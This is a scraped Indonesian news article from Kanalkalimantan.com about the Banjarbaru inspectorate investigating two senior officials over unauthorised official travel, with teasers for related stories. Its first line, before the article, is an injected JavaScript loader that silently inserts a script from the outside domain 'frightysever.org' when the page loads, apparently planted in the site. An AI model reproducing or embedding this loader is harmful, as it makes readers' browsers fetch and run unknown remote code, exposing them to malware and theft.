(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Inspektorat Kota Banjarbaru mulai menindaklanjuti penanganan dugaan dua pejabat teras di lingkungan Pemerintah Kota (Pemko) Banjarbaru yang keluar daerah tanpa izin beberapa waktu lalu.
Dua pejabat eselon II dan III itu dikabarkan melakukan perjalanan dinas (Perjadin) tanpa mengantongi disposisi atasan kepegawaian.
Lantas Wali Kota Banjarbaru Aditya Mufti Ariffin memerintahkan Kepala Inspektorat Kota Banjarbaru untuk menindaklanjuti dugaan tersebut.
Saat ditemui, Kepala Inspektorat Kota Banjarbaru Rahmat Taufik mengatakan, pihaknya telah menyikapi laporan tersebut itu dengan membentuk tim internal Inspektorat untuk melakukan prosedur awal yakni pemeriksaan.
Baca juga: Uji Coba Trayek Angkutan Feeder, Organda Banjarbaru Minta Tak Sentuh A Yani
“Sejak Wali Kota memerintahkan terkait adanya ketidaksesuaian Perjadin ini, sejak itu kami sudah menyikapi dan merespon,” ujar Rahmat Taufik saat ditemui, Jumat (13/9/2024) pagi.
Pertama, katanya, tim langsung melengkapi dokumen-dokumen untuk melaksanakan prosedur pemeriksaan. Sedangkan untuk pemeriksaan sendiri tim melakukan pengumpulan bahan keterangan.
“Kalau kita bicara tahapan kita sudah masuk ke tahapan pengumpulan bahan keterangan, itu yang kami cari kami kumpulkan dokumen-dokumennya dengan tim tersendiri dari Inspektorat,” jelas dia.
Proses ini akan berlangsung selama 10 hari kerja, dihitung sejak hari Kamis (12/9/2024) usai tim dibuat.
Namun sambungnya, tidak menutup kemungkinan, pemeriksaan akan berlangsung melebihi hari kerja itu.
Baca juga: Kesbangpol HSU Mendorong Partisipasi Masyarakat dalam Pengawasan Pilkada
“Waktu yang kami berikan 10 hari terhitung senak tanggal 12 baru mulai bekerja untu menyelesaikannya, cuma nanti tidak menutup kemungkinan kalau ada kekurangan dan seterusnya bisa bertambah hari pengerjaan,” ungkapnya.
Dalam proses ini katanya, dua pejabat bersangkutan akan dimintai keterangan berupa klarifiksi bukan dilakukan pemanggilan.
“Tapi nanti istilahnya bukan pemanggilan tapi kami lakukan klarifikasi, minta keterangan tapi nanti tim kami yang akan mendatangi bersangkutan,” sambungnya.
Lebih lanjut dirinya menjelaskan jika memang terjadi pelanggaran tentu akan diberikan sanksi.
Baca juga: Gratis Bikin Kemasan UMKM Banjarbaru di Rumah Kemasan
“Kalau pelanggaran sudah ada sanksi cuma belum sampai ke sana, baru pengumpulan bahan keterangan nanti kita lihat bagaimana pelanggarannya,” tuntas Taufik. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
This website uses cookies.